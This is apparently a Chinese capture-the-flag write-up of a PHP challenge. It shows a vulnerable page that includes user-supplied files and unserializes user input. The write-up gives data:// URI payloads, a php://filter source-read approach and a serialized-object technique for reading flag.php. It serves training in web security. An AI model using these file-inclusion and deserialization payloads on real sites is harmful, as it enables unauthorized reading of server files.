<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
要求提交三个参数text,file,password
但是这么交一直没有反应
网上搜索才知道这里的text不能直接上传字符串(可能是text是个文件的事??),需要使用data协议
data协议: 允许在 URL 中直接包含数据,而不需要引用外部资源。也就是说,可以使用 data://
协议快速传递一些简单的数据,而不需要创建实际的文件或使用数据库。
用法:data:[<media type>][;base64],<data>
用data协议传输字符串:
payload1:(默认省略掉media type类型,也就是默认为text文本类型,并且不需要编码)
?text=data://,welcome to the zjctf
payload2:(全都写上,并且用base64编码一遍)
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
解码得到:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
序列化,把$file的值设为 'flag.php'(注意这个地方是字符串,不然就会报错,真的会去找有没有flag.php),输出序列化的Flag类(变成字符串)后会触发 __toString() 方法,进而触发file_get_contents(),从而输出flag.php的内容
为什么?因为php://filter是为了读取useless.php的源代码,直接读取读不了,只能通过base64编码后读取,而password的反序列化漏洞是根据useless.php的代码实现的,所以必须要先打开useless.php,打开的方式就是题目一开始的代码:include($file) 【将$file文件的内容插进代码中】
在源代码中找到flag
如果此时file=index.php,会出现:无限循环下去
为什么呢,就是因为先输出welcom to the zjctf,然后实现了include了index的代码, 再输出welcome to the zjctf ,再次包含index的代码,再次输出welcom to the zjctf......无限循环